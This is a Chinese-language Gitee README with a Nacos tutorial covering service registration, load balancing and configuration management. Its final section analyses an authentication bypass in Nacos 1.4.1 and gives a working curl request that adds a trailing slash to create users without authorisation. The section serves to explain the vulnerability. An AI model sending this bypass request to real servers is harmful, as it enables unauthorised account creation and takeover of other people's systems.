# NacosDemo
**Repository Path**: netb/nacos-demo
## Basic Information
- **Project Name**: NacosDemo
- **Description**: Nacos演示案例
- **Primary Language**: Java
- **License**: Not specified
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 0
- **Forks**: 6
- **Created**: 2023-04-10
- **Last Updated**: 2023-04-10
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
# Nacos演示案例
[toc]
## 一、前言
**Nacos**英文全称为**Naming Configuration Service**,缩写为Nacos。官方给的定义是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。我们可以更通俗的理解为**服务注册中心加配置中心。**

它在分布式架构中作用相当于之前的**Eureka + Config** 。替代了Eureka做注册中心,替换了Config做配置中心。
**本文内容为Nacos的安装和其作为分布式项目中注册中心和配置中心的基本运用。**
## 二、环境准备
### 1、演示环境
- JDK: 8
- spring-boot-dependencies:2.2.2.RELEASE
- spring-cloud-alibaba-dependencies:2.1.0.RELEASE
- Nacos-server:1.4.1
**更多的版本对应关系,请参考官方文档给出的说明**:[版本说明](https://github.com/alibaba/spring-cloud-alibaba/wiki/版本说明)
### 2、Nacos控制台安装运行
Nacos官网中文地址:https://nacos.io/zh-cn/

在使用Nacos之前,需要先安装Nacos控制台,控制台下载地址:https://github.com/alibaba/nacos/
Nacos控制台目前提供两种启动方式:
- standalone 此模式一般用于 demo 和测试,不用改任何配置
- cluster 此模式一般用于生产环境
在此,由于是进行Demo演示,采取较为简单的standalone模式。
### 3、启动步骤
- 下载解压文件,目录如下:
[](https://imgchr.com/i/r0ihOs)
- 进入bin目录,在当前目录打开黑窗口,Linux/Unix执行sh startup.sh -m standalone(windows系统执行 startup.cmd -m standalone) (-m standalone 表示以单机模式运行)

- 启动成功画面

- 在浏览器中输入http://localhost:8848/nacos
用户名:nacos
密码:nacos
- 登录成功界面如下

## 三、Nacos作为注册中心的基本运行
Nacos注册中心功能,通过server-consumer和server-provider两个工程完成演示。
+ server-provide:服务提供者
+ server-consumer:服务消费者

+ 将server-provide和server-consumer注册到Nacos-server,即Nacos控制台;
+ 服务消费者server-consumer通过主动轮询调用server-provide服务接口;
### 1、父工程搭建
创建名为Nacos-demo的父工程,对整个项目Maven版本进行管理
**父工程POM文件**
```xml
4.0.0
com.demo
Nacos-demo
1.0-SNAPSHOT
server-consumer9001
server-provider9002
server-provider9003
server-provider9004
server-provider9005
1.8
1.8
2.2.2.RELEASE
2.1.0.RELEASE
org.springframework.boot
spring-boot-dependencies
${springboot.version}
pom
import
com.alibaba.cloud
spring-cloud-alibaba-dependencies
${springcloud.alibaba.version}
pom
import
org.springframework.boot
spring-boot-maven-plugin
```
### 2、服务提供者(server-provider)
创建名为server-provider9002的子工程
#### (1)、POM文件内容
```java
4.0.0
com.demo
Nacos-demo
1.0-SNAPSHOT
server-provider9002
com.alibaba.cloud
spring-cloud-starter-alibaba-nacos-discovery
org.springframework.boot
spring-boot-starter-web
```
#### (2)、配置文件内容(YML格式文件)
```yaml
server:
port: 9002 #应用访问端口
spring:
application:
name: SERVER-PROVIDER #应用名称
cloud: #Nacos控制台地址,根据自己的地址和端口进行修改
nacos:
discovery:
server-addr: localhost:8848
```
#### (3)、主启动类上添加
```java
package com.demo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.client.discovery.EnableDiscoveryClient;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@EnableDiscoveryClient //能够让注册中心能够发现,扫描到该服务
@SpringBootApplication
@RestController
public class ProviderApplication9002 {
public static void main(String[] args) {
SpringApplication.run(ProviderApplication9002.class, args);
System.err.println("=>>ProviderApplication:9002启动成功~");
}
@GetMapping("/hello")
public String helloNacos(){
return "Hello,Nacos!by ProviderApplication:9002";
}
}
```
再复制3个修改成不同端口,以便测试负载均衡。至此服务提供者工程创建完毕。
### 3、服务消费者(server-comsumer)
创建名为server-comsumer9001的子工程
#### (1)、POM文件内容
```java
4.0.0
com.demo
Nacos-demo
1.0-SNAPSHOT
server-consumer9001
com.alibaba.cloud
spring-cloud-starter-alibaba-nacos-discovery
org.springframework.boot
spring-boot-starter-web
```
#### (2)、配置文件内容(YML格式文件)
```yaml
server:
port: 9001
spring:
application:
name: SERVER-CONSUMER
cloud:
nacos:
discovery:
server-addr: localhost:8848
```
#### (3)、主启动类
```java
package com.demo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.client.discovery.EnableDiscoveryClient;
import org.springframework.cloud.client.loadbalancer.LoadBalanced;
import org.springframework.context.annotation.Bean;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
@SpringBootApplication
@EnableDiscoveryClient //开启服务注册发现功能
@RestController
public class ConsumerApplication {
public static void main(String[] args) {
SpringApplication.run(ConsumerApplication.class, args);
System.err.println("=>>ConsumerApplication:9001启动成功~");
}
@Autowired
private RestTemplate restTemplate;
/**
* 注入RestTemplate调用server-provider服务;
* LoadBalanced注解表示如果被调用的服务有多个节点,则默认采用轮询调用,实现负载均衡
*/
@Bean
@LoadBalanced
public RestTemplate getRestTemplate(){
return new RestTemplate();
}
@GetMapping("/getHello")
public String test() {
//url拼写规则: 传输协议://服务名/访问路径
return restTemplate.getForObject("http://SERVER-PROVIDER/hello",String.class);
}
}
```
服务消费者创建完成。
### 4、测试
+ 启动server-provider和server-consumer,端口分别为9002、9003、9004、9005和9001;
+ 现在登录Nacos控制台,在服务列表中会显示这两个服务,控制台可以对其进行监控和管理;

+ 浏览器中访问服务消费者的接口http://127.0.0.1:9001/getHello, 可以看到成功返回结果;
+ 多次刷新页面可看见已实现负载均衡

## 四、Nacos作为配置中心的基本运用
在父工程下创建名为config的工程
### 1、配置中心运用的基本演示
#### (1)、POM文件内容
```java
4.0.0
com.demo
Nacos-demo
1.0-SNAPSHOT
server-consumer9100
com.alibaba.cloud
spring-cloud-starter-alibaba-nacos-config
org.springframework.boot
spring-boot-starter-web
```
#### (2)、配置文件内容(bootstrap.yml文件)
需要注意的是这里的文件名称必须是bootstrap.×××文件。
```yml
server:
port: 9100
spring:
application:
name: nacos-config #服务名称
cloud:
nacos:
config:
server-addr: localhost:8848 #服务配置中心地址
prefix: ${spring.application.name} #对应配置文件前缀,不配置默认为服务名称
file-extension: yml #指定配置中心中对应的配置文件的格式
```
#### (3)、主启动类
```java
@SpringBootApplication
@RestController
@RefreshScope //可以使当前类下的配置支持动态更新
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
/**
* 其中通过@Value注解,去读取配置中心对应的配置文件中为nacos.info的值,并通过/getInfo接口返回。
*/
@Value("${nacos.info}")
private String info;
@RequestMapping("/getInfo")
public String getValue() {
return info;
}
}
```
#### (4)、新建配置
在Nacos-server配置管理->配置列表中新建配置

点击右上方 "+" 按钮,进入如下页面:
+ **Data ID**
1. 定义规则: {prefix}-{spring.profile.active}.{file-extension};当spring.profile.active 为空时,定义规则为{prefix}.{file-extension};
2. prefix 默认为 `spring.application.name` 的值,也可以通过配置项 `spring.cloud.nacos.config.prefix` 来配置;
3. file-exetension 为配置内容的数据格式,可以通过配置项 `spring.cloud.nacos.config.file-extension` 来配置。
此案例没有配置spring.profile.active ,因此Data-Id为:nacos-config.yml
+ **Group**
可自定义Group
先采用默认的`DEFAULT_GROUP`
+ **配置格式**
目前仅支持yml和properties两种格式,此案例采用yml
+ **文件内容**

以上的每一项,在工程的bootstrap.yml配置文件中都有与其对应的配置:
```yml
server:
port:
spring:
application:
name: #服务名称
cloud:
nacos:
config:
server-addr: #服务配置中心地址
prefix: #对应配置文件前缀,不配置默认为服务名称
file-extension: #指定配置中心中对应的配置文件格式
namespace: #命名空间ID
group: #命名空间下的组名称
```
#### (5)、测试
+ 保证Nacos控制台启动成功
+ 检查配置文件内容,搞清楚每一项配置的作用
+ 启动config项目
+ 调用接口进行测试 http://localhost:9100/getInfo,可以看到如下返回结果
+ 说明成功读取到配置文件内容,接着修改控制台配置文件内容,测试是否能够动态刷新
+ 调用 http://localhost:9100/getInfo接口,返回如下结果,表明动态刷新成功。
### 2、支持profile粒度的配置
+ 在日常开发中如果遇到多套环境下的不同配置,可以通过Spring 提供的 `${spring.profiles.active}` 这个配置项来配置。
```yml
server:
port: 9100
spring:
application:
name: nacos-config #服务名称
profiles:
active: dev
cloud:
nacos:
config:
server-addr: localhost:8848 #服务配置中心地址
prefix: ${spring.application.name} #配置中心对应配置文件前缀
file-extension: yml #指定配置中心中对应的配置文件的格式
```
+ 上图配置了&{spring.profiles.active}=dev,则DataId为nacos-config-dev.yml

+ 重启nacos-config,访问 http://localhost:9100/getInfo,返回如下结果:
### 3、自定义命名空间(Namespace)
命名空间用于进行租户粒度的配置隔离。不同的命名空间下,可以存在相同的 Group 或 Data ID 的配置。Namespace 的常用场景之一是不同环境的配置的区分隔离,例如开发测试环境和生产环境的资源(如配置、服务)隔离等。
在bootstarp.×××文件没有指定 `${spring.cloud.nacos.config.namespace}` 配置的情况下, 默认使用的是 Nacos 上 Public 这个namespae。如果需要使用自定义的命名空间,可以通过如下方式实现:
+ 查看命名空间列表

+ 将命名空间ID配置到config-server项目中的bootstarp.×××文件中
```yml
server:
port: 9100
spring:
application:
name: nacos-config #服务名称
profiles:
active: dev
cloud:
nacos:
config:
server-addr: localhost:8848 #服务配置中心地址
prefix: ${spring.application.name} #配置中心对应配置文件前缀
file-extension: yml #指定配置中心中对应的配置文件的格式
namespace: 3ee843f9-70ee-4701-9ad3-75aa5a35563b #DEV命名空间ID
```
+ 在Nacos-server配置管理列表DEV命名空间下新建配置

+ 重启nacos-config,访问 http://localhost:9100/getInfo,返回如下结果:
### 4、自定义Group
在同一个group下,配置文件名不能重复,所以当需要创建文件名称相同的两个配置文件时,将两个配置文件创建在不同的group下即可。当我们再同一个group下创建一个已有的配置文件时,nacos会将其视为配置文件的修改,而不是新建。
+ 在Nacos-server上DEV命名空间下新建配置,填写自定义的Group名称,直接输入即可。本案例中自定义组名称为MYSELF_GROUP。

+ 在nacos-config工程中添加自定义group信息
```yml
server:
port: 9100
spring:
application:
name: nacos-config #服务名称
profiles:
active: dev
cloud:
nacos:
config:
server-addr: localhost:8848 #服务配置中心地址
prefix: ${spring.application.name} #配置中心对应配置文件前缀
file-extension: yml #指定配置中心中对应的配置文件的格式
namespace: 3ee843f9-70ee-4701-9ad3-75aa5a35563b #DEV命名空间ID
group: MYSELF_GROUP #DEV命名空间下的MYSELF_GROUP
```
+ 重启nacos-config,访问 http://localhost:9100/getInfo,返回如下结果:
## 五、Nacos安全漏洞!
nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。
### 1、漏洞复现
- 绕过了鉴权,添加了新用户

- 绕过了鉴权,返回了用户列表数据

- 返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户


- 访问首页http://localhost:8848/nacos ,登录新账号,可以为所欲为!
### 2、漏洞成因
问题主要出现在`com.alibaba.nacos.core.auth.AuthFilter#doFilter`:
```java
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
```
可以看到,上面三个if else分支:
第一个是`authConfigs.isEnableUserAgentAuthWhite()`,它默认值为true,当值为true时,会判断请求头User-Agent是否匹配`User-Agent: Nacos-Server`,若匹配,则跳过后续所有逻辑,执行`chain.doFilter(request, response);`
第二个是`StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())`,也就是nacos 1.4.1版本对于`User-Agent: Nacos-Server`安全问题的简单修复
第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应
问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置`nacos.core.auth.enable.userAgentAuthWhite:false`,开启该key-value简单鉴权机制后,会根据开发者配置的`nacos.core.auth.server.identity.key`去http header中获取一个value,去跟开发者配置的`nacos.core.auth.server.identity.value`进行匹配,若不匹配,则不进入分支执行:
```java
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
```
但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。
再往下看,代码来到:
```
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
```
可以看到,这里有一个判断`method == null`,只要满足这个条件,就不会走到后续的鉴权代码。
通过查看`methodsCache.getMethod(req)`代码实现,我发现了一个方法,可以使之返回的method为null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
```java
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
```
这个代码里面,可以很明确的看到,method值的返回,取决于
```
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List requestMappingInfos = urlLookup.get(urlKey);
```
urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值
而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:
```
new URI(request.getRequestURI()).getPath()
```
一个正常的访问,比如`curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'`,得到的path将会是`/nacos/v1/auth/users`,而通过特殊构造的url,比如`curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is`,得到的path将会是`/nacos/v1/auth/users/`
通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的`method == null`条件将能满足,从而,绕过该鉴权机制。
[更多Nacos详情请参考官方手册](https://nacos.io/zh-cn/docs/what-is-nacos.html)